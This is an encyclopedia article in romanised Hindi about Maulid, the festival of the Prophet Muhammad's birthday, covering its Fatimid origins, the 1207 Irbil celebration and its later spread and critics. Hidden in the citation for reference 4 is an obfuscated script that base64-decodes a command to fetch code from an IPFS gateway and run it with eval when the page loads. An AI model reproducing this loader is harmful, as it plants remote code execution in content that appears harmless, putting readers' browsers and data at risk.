मौलिद
maulid islam mean kisi pavitr vyakti ke janmadin ko kaha jata hai. ise 'maulood' ya 'milad' bhi haian. visheshakar paigambar muhammad ka janmadivas.[1] muhammad ka janm divas paranparanusar anumanit roop se rabi 1 mah ka 12vaan din niyat hai, yani muhammad ki mrityu ka divas, musalaman dharmavalanbi janasamooh dvara ise 13vian shatabdi tak nahian manaya jata tha. 11vian shatabdi ke aant mean misr mean shasak shiyaee fatimi[2] muhammad, ali, fatima v shasak khalifa ke char maulidoan ko manate the. yah tyohar darabariyoan ke sadharan juloos hote haian, jo din ke samay nikale jate the v jinaka samapan khalifa ki maujoodagi mean tin dharmopadeshoan[3] ke path ke sath hi samapt hota tha.[4]
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pratham maulid tyohar
sunni, jo islam ki mukhy shakha hai, 1207 mean hue ek maulid samaroh ko pratham maulid tyohar manate haian. us avasar ka ayojan muzaffar ad-din gokaburi ne 'mosal'[5] ke nikat irabil mean kiya tha, jinaka misr ke sultan saladin ke sath jija-sale ka sanbandh tha. yah lagabhag adhunik maulid ke saman tha. muhammad ke vastavik janm divas se poorv poore ek mah tak utsav hue. jadoogar, bazigar aur chunianda manoranjanakartaoan ne bagadad v 'nisibin'[6] jitane door ke ilaqoan ke logoan ko akrisht kiya v muslim vidvanoan, vidhishastriyoan, adhyatmavadiyoan aur shayaroan ne do mah poorv se hi vahaan pahuanchana shuroo kar diya tha. aupacharik maulid se do din poorv b di sankhya mean ooantoan, bhe doan v bailoan ki bali di gee aur maulid ki sandhya par nagar mean ek mashal juloos nikala. maulid ki subah ek vishesh roop se banae ge bhaktagan v sena manch ke samaksh dharmakhyan sunane ke lie upasthit hue. usake bad dharmaguruoan ko vishesh kap de bheantakar unaka samman kiya gaya v sabhi upasthitajanoan ko rajakumar ki or se bhoj hetu amantrit kiya gaya.
prasar
maulid tyohar muslim vishv mean tezi se phaila, jo kuchh had tak soofivad[7] ke prati samakalin utsah ka parinam tha, jisane islam ko ek vyaktigat anubhav bana diya. arab mean bhi, jahaan paigambar ka janm sthan v maqabara keval dharmik tirthayatra ka sthan the, maulid utsavoan ne apani j dean mazaboot kar lian. kee musalaman brahmavijnani ne anandotsavoan ko svikar nahian kar pae v unhoanne unhean 'bida' kaha. aisa navachar, jo sanbhavat: pap ki or le jata hai. maulid vastav mean eesaee prabhav darshate the; muslim kshetroan ke eesaee isi dhang se 'krisamas' manate the v muslim aksar in utsavoan mean bhag lete the. adhunik mool tattvadasi musalaman, jaise vahabi ab bhi maulid anandotsavoan ko moortipooja ke saman hi manate haian.[4]
- ab to any santoan v soofi bhratrisanghoan ke sansthapakoan tak ke maulid manae ja rahe haian. maulid kavitaean, jo muhammad ke jivan aur sadgunoan ka varnan karati haian, jalasoan ke samay ke alava bhi bahut lokapriy haian. maulid mrit rishtedaroan ki yad mean bhi gae jate haian.
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tika tippani aur sandarbh
- ↑ maulid an-nabi
- ↑ chauthe khalifa ali v unaki patni tatha muhammad ki putri fatima ke vanshaj
- ↑ khutba
- ↑ 4.0 4.1 bharat jnanakosh, khand-4 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 448 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ iraq
- ↑ adhunik nusaibin, turki
- ↑ islam ke rahasyavad
sanbandhit lekh
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varnamala kramanusar lekh khoj
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